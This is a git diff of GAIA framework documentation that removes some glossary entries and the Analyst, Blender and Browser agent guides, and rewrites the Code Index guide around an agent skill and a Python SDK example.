agents to be used from VSCode, Claude Desktop, and other MCP-compatible clients. GAIA's BlenderAgent uses MCP to communicate with Blender. See also: MCPAgent, MCP Server. +A standardized protocol for integrating AI agents with external tools and services. Enables GAIA agents to be used from VSCode, Claude Desktop, and other MCP-compatible clients. See also: MCPAgent, MCP Server. ### MCPAgent A GAIA base class for agents compatible with the Model Context Protocol. Subclasses implement `get_mcp_tool_definitions()` for tool schemas, `execute_mcp_tool()` for tool execution, and optionally `get_mcp_resources()` to expose data URIs. Enables integration with VSCode, Claude Desktop, and other MCP clients. See also: MCP Server, MCP Tools. @@ -333,9 +315,6 @@ A conversation with multiple exchanges where context from previous turns is pres ## N -### Next.js -A React framework for building full-stack web applications. GAIA's CodeAgent generates Next.js projects with TypeScript, Prisma, and Tailwind CSS. - ### NPU (Neural Processing Unit) A dedicated AI accelerator in AMD Ryzen AI processors, optimized for running neural networks efficiently. @@ -386,12 +365,6 @@ An external web search API that can be integrated with GAIA agents for real-time ### Performance Metrics Quantitative measurements of system behavior, such as tokens per second or time to first token. -### Prisma -A TypeScript/JavaScript ORM (Object-Relational Mapping) for database access. GAIA's CodeAgent generates Prisma schemas with SQLite for data persistence. Includes automatic ID generation, timestamps, and type-safe queries. See also: Next.js, Zod. - -### Project Type -Classification of code projects by their architecture: frontend (UI only), backend (API only), fullstack (both), or script (utilities/CLI). The RoutingAgent uses this to configure CodeAgent appropriately. - ### Prompt The input text provided to an LLM, including instructions, context, and the user's question or request. @@ -442,9 +415,6 @@ An API following Representational State Transfer principles, using HTTP methods ### Retry Logic Automatic retry mechanisms when operations fail, often with exponential backoff. -### RoutingAgent -A GAIA agent that analyzes requests and intelligently routes them to specialized agents. Uses LLM-powered language detection to identify programming languages and project types, asks disambiguating questions when confidence is low, and configures target agents appropriately. - ### Ryzen AI AMD's brand for processors featuring integrated NPU hardware for AI acceleration. @@ -519,9 +489,6 @@ Instructions that shape an LLM's behavior, persona, and response style. In GAIA, ## T -### Tailwind CSS -A utility-first CSS framework for rapid UI development. GAIA's CodeAgent generates Tailwind-styled Next.js applications. - ### Temperature A parameter (typically 0.0-2.0) controlling randomness in LLM output. Lower values produce more deterministic responses. @@ -616,9 +583,6 @@ OpenAI's open-source speech recognition model, used by GAIA for ASR in Talk mode ### Zero-shot An LLM performing a task without any training examples, relying solely on its pre-training knowledge. -### Zod -A TypeScript-first schema validation library. GAIA's CodeAgent generates Zod schemas for API endpoint request validation. - --- ## Related Resources diff --git a/docs/guides/analyze.mdx b/docs/guides/analyze.mdx deleted file mode 100644 index 9c08d5968..000000000 --- a/docs/guides/analyze.mdx +++ /dev/null @@ -1,92 +0,0 @@ ---- -title: "Analyst Agent" -description: "Load structured rows into scratchpad tables and query them with a focused GAIA agent." -icon: "chart-column" ---- - - - **First time here?** Complete the [Setup](/setup) guide first to install GAIA and its dependencies. - - -The Analyst Agent is a focused structured-data agent for users who want scratchpad table tools without the full Chat Agent tool surface. It's useful for CSV-style rows, extracted records, and calculations that should be performed by SQL instead of mental arithmetic. - -**Who it's for:** anyone who has rows of data and wants the model to compute over them reliably — totals, group-bys, filters — by writing SQL against an in-memory scratchpad table rather than guessing at numbers. - -## Prerequisites - -- GAIA installed (see [Setup](/setup)). -- A local model available — run `gaia init` if you haven't set one up. By default the agent uses the local Lemonade backend. - -## Quick Start - -Run a single analysis task with `-q`: - -```bash -gaia analyze -q "Create a sales table, insert these rows, and calculate revenue by region" -``` - -Use interactive mode when you want to build up tables and ask follow-up questions: - -```bash -gaia analyze -``` - -## Tool Surface - -`gaia analyze --list-tools` shows the exact tools available in your installed version. The focused Analyst Agent exposes: - -- `create_table` — create a scratchpad SQL table. -- `insert_data` — load structured rows. -- `query_data` — run SQL calculations and filtering. -- `list_tables` — inspect available tables. -- `drop_table` — remove a scratchpad table. - -The Analyst Agent does not register browser tools. Use [`gaia browse`](/guides/browse) for web research, or [`gaia chat`](/guides/chat) when you need the broader mixed tool set. - -## Model and Backend Options - -By default, `gaia analyze` uses the local Lemonade backend configured for GAIA. You can override the model or backend with the common agent flags: - -```bash -# Use a smaller local model for lighter tasks -gaia analyze --model Qwen3-4B-Instruct-2507-GGUF -q "Summarize this table" - -# Run against the Claude API instead of local inference -gaia analyze --use-claude -q "Normalize these rows and calculate totals" -``` - -Other shared agent flags work here too — `--max-steps` to bound the run, `--trace` to save a JSON execution trace, and `--stats` for performance metrics. - -In the Agent UI the analyst appears as a single `data` card with a model-size selector — pick **Lite (~4B)** for shorter analysis tasks on lighter hardware, or **Full** for the default model. (The old `data-lite` registry ID still resolves to `data` on the lite tier for existing sessions.) - -## Next Steps - - - - Search the web, fetch pages, and download files. - - - - The full chat agent with RAG, memory, and the broader tool set. - - - - Every `gaia` command and flag. - - - - Browse every GAIA agent. - - - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - diff --git a/docs/guides/blender.mdx b/docs/guides/blender.mdx deleted file mode 100644 index 7ef80a821..000000000 --- a/docs/guides/blender.mdx +++ /dev/null @@ -1,431 +0,0 @@ ---- -title: "Blender Agent" -description: "Create and modify 3D scenes in Blender through natural-language commands." -icon: "cube" ---- - - - **Source Code:** [`hub/agents/blender/python/gaia_agent_blender/agent.py`](https://github.com/amd/gaia/blob/main/hub/agents/blender/python/gaia_agent_blender/agent.py) · [`src/gaia/mcp/blender_mcp_server.py`](https://github.com/amd/gaia/blob/main/src/gaia/mcp/blender_mcp_server.py) - - -GAIA provides a powerful Blender agent that enables natural language interaction with Blender for 3D scene creation and modification. The agent can create objects, apply materials, manipulate transformations, and manage scenes through conversational commands. - -> **First time here?** Complete the [Setup](/setup) guide first to install GAIA and its dependencies. - -## Overview - -The GAIA Blender agent bridges the gap between natural language and 3D modeling by: - -- **Natural Language Processing**: Understanding complex 3D scene creation requests -- **Automated Planning**: Breaking down complex tasks into manageable steps -- **Real-time Execution**: Direct communication with Blender through MCP (Model Context Protocol) -- **Interactive Workflows**: Supporting both example-based learning and custom queries - -## Key Features - -### Scene Management -- Clear scenes and remove objects -- Get scene information and object listings -- Manage scene hierarchy and organization - -### Object Creation -- **Primitive Objects**: Cubes, spheres, cylinders, cones, and torus objects -- **Positioning**: Precise placement using 3D coordinates -- **Scaling**: Custom sizing and proportions -- **Multiple Objects**: Create and arrange multiple objects in complex scenes - -### Material System -- **Color Assignment**: Apply RGBA colors to objects -- **Material Properties**: Set material characteristics and appearance -- **Visual Consistency**: Maintain material standards across objects - -### Interactive Planning -- **Multi-step Execution**: Break complex requests into logical steps -- **Automatic Planning**: AI-driven task decomposition -- **Progress Tracking**: Monitor execution through each step -- **Error Handling**: Graceful handling of invalid operations - -## Installation & Setup - -### Prerequisites - -1. **Blender Installation**: Blender version 4.3+ recommended -2. **GAIA Installation**: Core GAIA system must be installed -3. **Lemonade Server**: Must be running for AI processing - -### MCP Server Setup - -The Blender agent requires the MCP (Model Context Protocol) server to communicate with Blender: - -#### Step-by-Step Setup: - -1. **Open Blender** (version 4.3 or newer recommended) - -2. **Access Add-ons Menu**: - - Go to `Edit > Preferences > Add-ons` - -3. **Install the MCP Server**: - - Click the down arrow button, then `Install...` - - Navigate to: `src/gaia/mcp/blender_mcp_server.py` - - Select and install the file - -4. **Enable the Add-on**: - - Find `Simple Blender MCP` in the add-ons list - - Check the box to enable it - -5. **Configure the Server**: - - Open the 3D viewport sidebar (press `N` key if not visible) - - Find the `Blender MCP` panel in the sidebar - - Set port to `9876` (default) or customize as needed - - Click `Start Server` - -6. **Verify Connection**: - - The server status should show as running - - GAIA CLI will validate the connection when starting Blender commands - -#### Visual Setup Guide - -For detailed setup instructions with screenshots, see: `workshop/blender.ipynb` - -## Command Reference - -### Basic Command Structure - -```bash -gaia blender [OPTIONS] -``` - -### Available Options - -| Option | Type | Default | Description | -|--------|------|---------|-------------| -| `--model` | string | auto-selected by agent | Language model ID for AI processing (not a Blender 3D model). When omitted, the Blender agent picks a model based on your installed profile — typically `Gemma-4-E4B-it-GGUF`. Pass e.g. `--model Gemma-4-E4B-it-GGUF` to pin it explicitly. | -| `--example` | int (1-6) | None | Run a specific example, if not specified run interactive mode | -| `--steps` | int | global limit (50) | Maximum number of steps per query. Defaults to the global agent step limit (50, or `$GAIA_AGENT_MAX_STEPS` if set). | -| `--output-dir` | string | "output" | Directory to save output files | -| `--stream` | flag | False | Enable streaming mode for LLM responses | -| `--stats` | flag | False | Enable statistics collection (stats saved to output files, not displayed) | -| `--query` | string | None | Custom query to run instead of examples | -| `--interactive` | flag | False | Enable interactive mode for continuous queries | -| `--debug-prompts` | flag | False | Enable debug prompts for development | -| `--print-result` | flag | False | Enable result printing (output depends on query type) | -| `--mcp-port` | int | 9876 | Port for the Blender MCP server | - -## Usage Examples - -### Running Built-in Examples - -```bash -# Run all Blender examples in sequence -gaia blender - -# Run a specific example (1-5 available) -gaia blender --example 2 - -# Run example with custom model -gaia blender --example 3 --model "custom-model" -``` - -### Interactive Mode - -```bash -# Start interactive Blender mode for custom 3D scene creation -gaia blender --interactive - -# Interactive mode with debug information -gaia blender --interactive --debug-prompts --output-dir ./blender_results -``` - -### Custom Queries - -```bash -# Single custom query to create specific 3D objects -gaia blender --query "Create a red cube and blue sphere arranged in a line" - -# Complex scene setup -gaia blender --query "Clear the scene, then create a green cylinder at (0,0,0) and a yellow cone 3 units above it" - -# Advanced scene with multiple operations -gaia blender --query "Create a complex 3D scene with multiple colored objects arranged in a circle" -``` - -### Advanced Configuration - -```bash -# Use different model with streaming enabled -gaia blender --model "custom-model" --stream --query "Create a sunset scene with mountains" - -# Custom MCP port and output directory -gaia blender --mcp-port 9877 --output-dir ./my_scenes --query "Create a modern office space" - -# Performance monitoring -gaia blender --stats --steps 10 --query "Build a complete house structure" -``` - -## Built-in Examples - -The Blender agent includes several built-in examples to demonstrate capabilities: - -### Example 1: Clearing the Scene -**Purpose**: Remove all objects from the scene -**Command**: Clear the scene to start fresh -**Learning**: Basic scene management and cleanup - -### Example 2: Creating a Basic Cube -**Purpose**: Create a red cube at the center -**Command**: Create a red cube at the center of the scene with red material -**Learning**: Object creation and material assignment - -### Example 3: Creating a Sphere with Properties -**Purpose**: Blue sphere with custom position and scale -**Command**: Create a blue sphere at position (3, 0, 0) with scale (2, 2, 2) -**Learning**: Positioning, scaling, and color properties - -### Example 4: Multiple Objects -**Purpose**: Green cube and red sphere arrangement -**Command**: Create a green cube at (0, 0, 0) and a red sphere 3 units above it -**Learning**: Multi-object scenes and spatial relationships - - -**Positioning Note**: Relative positioning (e.g., "3 units above") may not always position objects as expected. For precise placement, use explicit 3D coordinates like `(0, 0, 3)` instead. - - -### Example 5: Object Modification -**Purpose**: Create and then modify a blue cylinder -**Command**: Create a blue cylinder, then make it taller and move it up 2 units -**Learning**: Object modification and transformation workflows - -**Note**: Examples 1-5 are currently implemented. Example 6 is planned for future releases. - -## Agent Capabilities - -### Scene Management -- **Clear Scenes**: Remove all objects to start fresh -- **Object Inventory**: List and identify existing objects -- **Scene Information**: Get comprehensive scene details -- **Hierarchy Management**: Organize complex scenes - -### Object Creation & Manipulation -- **Primitive Objects**: - - Cubes with customizable dimensions - - Spheres with radius control - - Cylinders with height and radius settings - - Cones with base and tip configuration - - Torus objects with major and minor radius -- **Positioning**: Precise 3D coordinate placement -- **Rotation**: Object orientation control -- **Scaling**: Non-uniform scaling on X, Y, Z axes - -### Material & Appearance -- **Color Assignment**: Full RGBA color control -- **Material Properties**: Basic material characteristics -- **Visual Consistency**: Standardized material application -- **Material Library**: Reusable material definitions - -### Advanced Features -- **Multi-step Planning**: Complex task breakdown -- **Dependency Resolution**: Handle object relationships -- **Error Recovery**: Graceful handling of invalid operations -- **Progress Monitoring**: Step-by-step execution tracking - -## Interactive Mode - -Interactive mode provides a continuous interface for 3D scene creation: - -### Starting Interactive Mode -```bash -gaia blender --interactive -``` - -### Interactive Commands -- **Scene Creation**: Describe the scene you want to create -- **Object Modification**: Request changes to existing objects -- **Scene Queries**: Ask questions about the current scene -- **Control Commands**: - - Type `exit`, `quit`, or `q` to exit - - Use `Ctrl+C` for immediate termination - -### Example Interactive Session -``` -Enter Blender query: Create a red cube at the origin -[Agent processes and creates cube] - -Enter Blender query: Add a blue sphere 2 units above the cube -[Agent adds sphere with proper positioning] - -Enter Blender query: Make the cube twice as large -[Agent modifies cube scale] - -Enter Blender query: exit -Exiting Blender interactive mode. -``` - -## Requirements & Dependencies - -### System Requirements -- **Blender**: Version 4.3+ (4.2 may work but not fully tested) -- **Python**: Compatible with GAIA's Python environment -- **Memory**: Sufficient RAM for both GAIA and Blender (8GB+ recommended) -- **Storage**: Space for 3D scene files and outputs - -### Software Dependencies -- **GAIA Core**: Full GAIA installation required -- **Lemonade Server**: Must be running for AI processing -- **Blender MCP Server**: Must be installed and running in Blender - -### Network Requirements -- **Local Communication**: MCP server runs on localhost -- **Port Availability**: Default port 9876 (customizable) -- **Firewall**: Allow local connections on MCP port - -## Troubleshooting - - - - **Error**: Connection errors or "server not accessible" messages - - **Solution**: - ```bash - lemonade-server serve - ``` - - - - **Error**: "Blender MCP server is not running or not accessible" - - **Solutions**: - 1. Verify Blender is open with the MCP add-on installed - 2. Check the MCP server is started in Blender's sidebar panel - 3. Confirm port 9876 is available (or use custom port with `--mcp-port`) - 4. Restart Blender if the server appears unresponsive - - - - **Error**: MCP server add-on not found or won't install - - **Solutions**: - 1. Verify you're navigating to the correct file: `src/gaia/mcp/blender_mcp_server.py` - 2. Check Blender version compatibility (4.3+ recommended) - 3. Ensure GAIA is properly installed - 4. Try restarting Blender after installation - - - - **Error**: Slow response times or timeouts - - **Solutions**: - 1. Reduce `--steps` parameter for simpler operations - 2. Use smaller models for faster processing - 3. Ensure adequate system resources - 4. Check for memory constraints in both GAIA and Blender - - - - **Error**: MCP server won't start due to port conflicts - - **Solutions**: - 1. Use `--mcp-port` to specify an alternative port - 2. Check for other applications using port 9876 - 3. Kill conflicting processes: `gaia kill --port 9876` - - - - Enable debug mode for detailed troubleshooting: - ```bash - gaia blender --debug-prompts --interactive - ``` - - This provides: - - Detailed prompt information - - Step-by-step execution logs - - Error stack traces - - Communication details between GAIA and Blender - - - - For additional support: - 1. Check the workshop notebook: `workshop/blender.ipynb` - 2. Review the [Development Guide](/reference/dev#troubleshooting) - 3. Consult the [FAQ](/reference/faq) for common solutions - 4. Enable debug mode to gather detailed information - - - -## Advanced Usage - -### Custom Models -The Blender agent supports different AI models for varying performance characteristics: - -```bash -# Use a more powerful model for complex scenes -gaia blender --model "Llama-3.2-8B-Instruct" --query "Create a detailed cityscape" - -# Use a smaller model for simple operations -gaia blender --model "Llama-3.2-1B-Instruct" --query "Create a red cube" -``` - -### Batch Operations -Process multiple scenes or operations efficiently: - -```bash -# Save results to organized output directory -gaia blender --output-dir ./batch_scenes --query "Create scene 1: office setup" - -# Use streaming for real-time feedback -gaia blender --stream --query "Build a complex architectural structure" -``` - - -**Output Directory Behavior**: The `--output-dir` creates the specified directory, but output files depend on the specific operations performed. Some queries may not generate output files even with this flag set. - - -### Integration with Other Tools -The Blender agent can be integrated into larger workflows: - -- **Automated Content Creation**: Script multiple scene generations -- **Educational Tools**: Demonstrate 3D concepts through natural language -- **Rapid Prototyping**: Quick visualization of 3D ideas -- **AI-Assisted Modeling**: Accelerate traditional 3D modeling workflows - -## Best Practices - -### Query Construction -- **Be Specific**: Include precise positions, colors, and sizes -- **Use Clear Language**: Avoid ambiguous terms -- **Break Complex Requests**: Split large scenes into manageable parts -- **Specify Relationships**: Clearly describe object positioning relative to others - -### Scene Organization -- **Start Clean**: Begin with `Clear the scene` for predictable results -- **Logical Progression**: Build scenes step by step -- **Test Incrementally**: Verify each step before adding complexity -- **Use Consistent Naming**: Reference objects clearly in follow-up commands - -### Performance Optimization -- **Appropriate Models**: Match model size to task complexity -- **Step Limits**: Set reasonable `--steps` values -- **Resource Monitoring**: Use `--stats` to track performance -- **Batch Similar Operations**: Group related tasks together - -## Future Enhancements - -Planned improvements to the Blender agent include: - -- **Extended Object Library**: More primitive types and complex shapes -- **Advanced Materials**: PBR materials, textures, and lighting -- **Animation Support**: Keyframe animation and motion paths -- **Scene Templates**: Pre-built scene configurations -- **Import/Export**: Integration with external 3D file formats -- **Collaborative Features**: Multi-user scene editing capabilities - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - diff --git a/docs/guides/browse.mdx b/docs/guides/browse.mdx deleted file mode 100644 index 0cedb2b7c..000000000 --- a/docs/guides/browse.mdx +++ /dev/null @@ -1,193 +0,0 @@ ---- -title: "Browser Agent" -description: "Search the web, fetch pages, and download files with a focused GAIA agent." -icon: "globe" ---- - - - **First time here?** Complete the [Setup](/setup) guide first to install GAIA and its dependencies. - - -The Browser Agent is a focused web-research agent for users who want GAIA's browser tools without the full Chat Agent tool surface. It can search the web, fetch readable page text, and download files through the same path validation and web-client limits used by the broader agent stack. - -**Who it's for:** anyone doing quick, repeatable web research from the CLI — gathering links on a topic, pulling the readable text out of a page, or grabbing a file — without loading RAG, scratchpad, or file-editing tools. - -## Prerequisites - -- GAIA installed (see [Setup](/setup)). -- A local model available — run `gaia init` if you haven't set one up. By default the agent uses the local Lemonade backend. -- Network access for web search and page fetches. - -## Quick Start - -Run a single research task with `-q`: - -```bash -gaia browse -q "Find recent AMD Ryzen AI SDK docs and summarize the relevant links" -``` - -Use interactive mode when you want to refine a web-research task over multiple turns: - -```bash -gaia browse -``` - -## Tools - -`gaia browse --list-tools` prints the exact tools available in your installed version. The focused Browser Agent registers three: - -| Tool | What it does | Key limits | -|------|--------------|------------| -| `search_web` | Runs a DuckDuckGo search and returns numbered results with titles, URLs, and snippets. | Returns up to 10 results (default 5). | -| `fetch_page` | Fetches a URL and extracts readable content. Does **not** execute JavaScript — works best on static articles, docs, and reference pages. | Returns up to 20,000 chars (default 5,000). Can extract `text`, `html`, `links`, or `tables`. | -| `download_file` | Saves a file from a URL to the local filesystem for later analysis. | Defaults to `~/Downloads`; capped at 100 MB per file; writes are path-validated (see below). | - -A typical run chains them: `search_web` to find candidate sources, `fetch_page` to read the promising ones, and `download_file` only when the user needs a local copy. Binary URLs (PDFs, archives, images) that `fetch_page` hits are reported as binary with a suggestion to use `download_file` instead. - -### Download path validation - -`download_file` writes are guarded by GAIA's `PathValidator`: - -- **Allowlist** — by default the agent may write to `~/Downloads`. Pass `--allowed-paths` to permit additional directories. In an interactive terminal an out-of-allowlist path prompts you for confirmation; in the Agent UI / API server it is auto-denied. -- **Blocklist** — sensitive directories (e.g. `/etc`, `~/.ssh`) and sensitive filenames (e.g. `.env`, `credentials.json`) are refused even if the allowlist would otherwise permit them; a file that resolves to a blocked name after download is deleted. - -```bash -# Allow downloads into a project folder in addition to ~/Downloads -gaia browse --allowed-paths ./research-data -q "Download the Q3 CSV from example.com and save it" -``` - -The Browser Agent does not register scratchpad or file-editing tools. Use [`gaia analyze`](/guides/analyze) for structured data work, or [`gaia chat`](/guides/chat) when you need the broader mixed tool set. - -## Flag Reference - -All flags are shown by `gaia browse -h`. - -| Flag | Description | -|------|-------------| -| `-q, --query QUERY` | Run a single task and exit. Omit for interactive mode. | -| `--list-tools` | Print the agent's tools and exit. | -| `--model MODEL` | Override the model ID (default: auto-selected). | -| `--use-claude` | Use the Claude API instead of local Lemonade. | -| `--use-chatgpt` | Use the ChatGPT/OpenAI API instead of local Lemonade. | -| `--claude-model CLAUDE_MODEL` | Claude model when `--use-claude` is set (default: `claude-sonnet-4-20250514`). | -| `--base-url BASE_URL` | Lemonade server base URL (default: `LEMONADE_BASE_URL` env or `http://localhost:13305/api/v1`). | -| `--max-steps MAX_STEPS` | Cap the agent's tool-use steps (default: global limit 50, or `$GAIA_AGENT_MAX_STEPS`). | -| `--allowed-paths PATH [PATH ...]` | Directories `download_file` may write to (in addition to the default `~/Downloads`). | -| `--stats, --show-stats` | Print performance statistics after the run. | -| `--trace` | Save a detailed JSON trace of agent execution. | -| `--stream` | Stream raw LLM output as it is generated. | -| `--show-prompts` | Print the prompts sent to the LLM. | -| `--debug` | Enable debug output. | -| `--logging-level LEVEL` | `DEBUG`, `INFO` (default), `WARNING`, `ERROR`, or `CRITICAL`. | -| `--no-lemonade-check` | Skip the Lemonade server check (CI/testing). | - -## Example: a multi-step research run - -```bash -gaia browse -q "What's new in the AMD Ryzen AI SDK? Find the docs and summarize the top links." -``` - -A representative run searches, reads a page, and reports back with citations: - -``` -🔍 search_web("AMD Ryzen AI SDK documentation") - 1. Ryzen AI Software — AMD - https://ryzenai.docs.amd.com/ - Documentation for the AMD Ryzen AI Software stack... - 2. Ryzen AI SDK Release Notes - https://ryzenai.docs.amd.com/en/latest/relnotes.html - ... - -📄 fetch_page("https://ryzenai.docs.amd.com/en/latest/relnotes.html") - Page: Release Notes — Ryzen AI Software - Length: 12,430 chars - -Here are the most relevant links: -- Ryzen AI Software docs (ryzenai.docs.amd.com) — install, quantization, and deployment guides. -- Release Notes — the latest version adds updated NPU driver support and new example models. - -Sources: https://ryzenai.docs.amd.com/, https://ryzenai.docs.amd.com/en/latest/relnotes.html -``` - -Add `--stats` to see timing and token counts, or `--trace` to write a full JSON execution trace for debugging. - -## Model and Backend Options - -By default, `gaia browse` uses the local Lemonade backend with the agent's auto-selected default model. Override the model or switch backends with the common agent flags: - -```bash -# Use a smaller local model for lighter tasks -gaia browse --model Qwen3-4B-Instruct-2507-GGUF -q "Fetch this page and list the citations" - -# Run against the Claude API instead of local inference -gaia browse --use-claude -q "Compare the approaches described in these two URLs" - -# Point at a remote Lemonade server -gaia browse --base-url https://my-host:13305/api/v1 -q "Search for recent NPU benchmarks" -``` - -**Choosing a model:** multi-step web research (search → read → synthesize) rewards stronger tool-calling, so the default larger model is a good starting point. Drop to a ~4B model with `--model` for simple single-fetch tasks on lighter hardware, or use `--use-claude` when you want the highest-quality synthesis and don't need everything to stay local. - -In the Agent UI the browser appears as a single `web` card with a model-size selector — pick **Lite (~4B)** for shorter browser tasks on lighter hardware, or **Full** for the default model. (The old `web-lite` registry ID still resolves to `web` on the lite tier for existing sessions.) - -## When to use browse vs. chat vs. analyze - -| Use | When | -|-----|------| -| [`gaia browse`](/guides/browse) | You want *only* web tools — search, read pages, download — with a minimal prompt and no other tooling. | -| [`gaia chat`](/guides/chat) | You need the broader mixed tool set: RAG over local documents, file search, memory, and more, in one session. | -| [`gaia analyze`](/guides/analyze) | You have structured rows and want reliable SQL calculations over an in-memory scratchpad table. | - -Keeping the tool surface small matters for smaller local models: fewer tools means a shorter system prompt and more accurate tool-calling, which is why the focused Browser Agent exists alongside the full chat agent. - -## Troubleshooting - - - - `search_web` uses DuckDuckGo and can fail on rate limits or transient network issues. Retry, refine your query, or skip search entirely by giving the agent a direct URL to `fetch_page`. - - - - `fetch_page` does not run JavaScript, so JS-heavy or login-gated pages may return little content. Try a static/print version of the page, or raise the character cap via the tool's `max_length` (up to 20,000). Very long pages are truncated with a `... (truncated)` marker. - - - - Downloads outside `~/Downloads` require `--allowed-paths`, and sensitive directories/filenames are always blocked. In the Agent UI / API server, out-of-allowlist paths are auto-denied (no interactive prompt). Pass an explicit `--allowed-paths` target and retry. - - - - Ensure a model is set up (`gaia init`) and the server is running, or point at a remote one with `--base-url`. Use `--no-lemonade-check` only for CI/testing without a backend. - - - -## Next Steps - - - - Load structured rows into scratchpad tables and query them with SQL. - - - - The full chat agent with RAG, memory, and the broader tool set. - - - - Every `gaia` command and flag. - - - - Browse every GAIA agent. - - - ---- - - - -**License** - -Copyright(C) 2024-2026 Advanced Micro Devices, Inc. All rights reserved. - -SPDX-License-Identifier: MIT - - diff --git a/docs/guides/code-index.mdx b/docs/guides/code-index.mdx index 85fda5221..b360c5b9e 100644 --- a/docs/guides/code-index.mdx +++ b/docs/guides/code-index.mdx @@ -14,10 +14,9 @@ icon: "magnifying-glass-code" GAIA's Code Index gives you fast semantic search over a repository without sending source to the cloud. It parses files into symbol-level chunks, embeds them via Lemonade Server on AMD NPU/GPU hardware, and stores them in a local FAISS index for sub-second queries. -The index is exposed three ways: +The index is exposed two ways: -- **CLI** — `gaia-code index ...` for build, search, status, clear, and chat. -- **Tool mixin** — `CodeIndexToolsMixin` is composed into the built-in `CodeAgent` and is available to any custom agent that opts in. +- **Tool mixin** — `CodeIndexToolsMixin` powers the flagship [GAIA agent](/guides/gaia)'s `coding` skill and is available to any custom agent that opts in via `KNOWN_TOOLS["code_index"]`. - **Python SDK** — `CodeIndexSDK` for direct programmatic use. `gh` is **not** required — the index covers source files only. @@ -47,7 +46,7 @@ lemonade-server serve ``` -The default embedder is now `user.embeddinggemma-300m-GGUF` (EmbeddingGemma 300M), replacing `nomic-embed-text-v2-moe-GGUF` because the current llama.cpp server cannot load the nomic MOE embedder. Both are 768-dim, so retrieval behavior is unchanged. A cached index (under `~/.gaia/code_index/`) records the model it was built with: re-running `gaia-code index` rebuilds every embedding with the new model, and searching a stale index fails loudly with a model-mismatch error until you rebuild. +The default embedder is now `user.embeddinggemma-300m-GGUF` (EmbeddingGemma 300M), replacing `nomic-embed-text-v2-moe-GGUF` because the current llama.cpp server cannot load the nomic MOE embedder. Both are 768-dim, so retrieval behavior is unchanged. A cached index (under `~/.gaia/code_index/`) records the model it was built with: re-indexing rebuilds every embedding with the new model, and searching a stale index fails loudly with a model-mismatch error until you rebuild. If FAISS or numpy are missing at runtime you'll see exactly: @@ -56,77 +55,9 @@ If FAISS or numpy are missing at runtime you'll see exactly: code_index dependencies missing. Install with: pip install -e '.[rag]' ``` -## CLI usage +## Using it from the flagship agent -### Build the index - -```bash -# Index the current directory -gaia-code index - -# Index a specific repository -gaia-code index --repo /path/to/repo - -# Cap the file count (default 5000) and pick a different embedding model -gaia-code index --repo /path/to/repo --max-files 2000 --model user.embeddinggemma-300m-GGUF -``` - -Common index-level flags (apply to every subcommand): - -| Flag | Purpose | -|------|---------| -| `--repo PATH` | Repository root (default: cwd) | -| `--max-files N` | Cap discovery (default 5000) | -| `--model M` | Lemonade embedding model | -| `--base-url URL` | Lemonade server URL (default `http://localhost:13305/api/v1`) | -| `--no-lemonade-check` | Skip the server reachability check | -| `--use-claude` / `--use-chatgpt` | Cloud LLM for `index chat` (embeddings still local) | - -Re-running `gaia-code index` is incremental: unchanged files (matched by SHA-256) reuse their existing embeddings. - -### Search - -```bash -# Semantic search across the indexed chunks -gaia-code index search "how does the agent handle errors" - -# Restrict to source code (the default `all` is currently equivalent; -# the flag is reserved for forward-compatible scope filtering) -gaia-code index search "auth flow" --scope code --top-k 5 - -# Larger result set -gaia-code index search "embedding model" --top-k 20 -``` - -Example queries against a hypothetical service repo: - -```bash -gaia-code index search "where do we mint JWT tokens" -gaia-code index search "rate limiter implementation" -gaia-code index search "database migration that adds the users table" -``` - -### Inspect and manage - -```bash -# Chunk counts, file count, embedding model, cache path -gaia-code index status - -# Wipe the on-disk index for this repo (forces full re-index next run) -gaia-code index clear -``` - -### Interactive Q&A - -```bash -gaia-code index chat -``` - -This launches `CodeAgent` with the `CodeIndexToolsMixin` already wired in, so the agent can call `index_codebase`, `search_code_index`, `get_index_status`, and `clear_code_index` autonomously while answering your questions. - -## Agent integration - -`CodeAgent` ships with the mixin already composed, so `gaia-code` chat sessions and any `CodeAgent` instance can call the four code-index tools: +The [`coding` skill](https://github.com/amd/gaia/blob/main/hub/skills/coding/SKILL.md) is what puts the code index in front of the flagship GAIA agent — it lists `search_code_index` among the tools a coding task needs, and directs the agent to run `index_codebase` once per repo before relying on semantic search. Ask the agent to work on a codebase and it calls these tools autonomously: | Tool | Description | |------|-------------| @@ -135,8 +66,6 @@ This launches `CodeAgent` with the `CodeIndexToolsMixin` already wired in, so th | `get_index_status` | Report current index state | | `clear_code_index` | Remove the cached index | -Custom agents compose `CodeIndexToolsMixin` directly in their class declaration; it's also registered in `KNOWN_TOOLS["code_index"]` ([`src/gaia/agents/registry.py`](https://github.com/amd/gaia/blob/main/src/gaia/agents/registry.py)) for dynamic resolution. For SDK-level composition see the [SDK reference](/sdk/sdks/code-index). - ### Example interaction ``` @@ -150,6 +79,34 @@ Results: - tests/unit/test_auth.py:23 — test_auth_error_recovery ``` +Custom agents compose `CodeIndexToolsMixin` directly in their class declaration; it's also registered in `KNOWN_TOOLS["code_index"]` ([`src/gaia/agents/registry.py`](https://github.com/amd/gaia/blob/main/src/gaia/agents/registry.py)) for dynamic resolution. For SDK-level composition see the [SDK reference](/sdk/sdks/code-index). + +## Using it from Python + +For direct programmatic use (no agent), call `CodeIndexSDK` yourself: + +```python +from gaia.code_index.sdk import CodeIndexConfig, CodeIndexSDK + +config = CodeIndexConfig(repo_path="/path/to/repo", max_files=2000) +sdk = CodeIndexSDK(config) + +# Build / refresh the index — incremental: unchanged files (matched by +# SHA-256) reuse their existing embeddings +result = sdk.index_repository() +print(f"Files: {result.files_indexed}, Chunks: {result.chunks_created}") + +# Semantic search +for r in sdk.search("how does the agent handle errors", top_k=5): + print(f"[{r.score:.3f}] {r.chunk.file_path}:{r.chunk.start_line}") + +# Inspect and manage +print(sdk.get_status()) +sdk.clear_index() +``` + +See the [Code Index SDK Reference](/sdk/sdks/code-index) for the full `CodeIndexConfig`, `CodeIndexSDK`, and data-type reference. + ## Cache layout ``` @@ -189,8 +146,11 @@ Indexing the gaia repo itself against Lemonade Server's `user.embeddinggemma-300 | Embedding model | `user.embeddinggemma-300m-GGUF` (via Lemonade Server) | | Wall-clock (remote, ngrok) | ~51 min | -```bash -gaia-code index --repo . --model user.embeddinggemma-300m-GGUF +```python +from gaia.code_index.sdk import CodeIndexConfig, CodeIndexSDK + +sdk = CodeIndexSDK(CodeIndexConfig(repo_path=".", 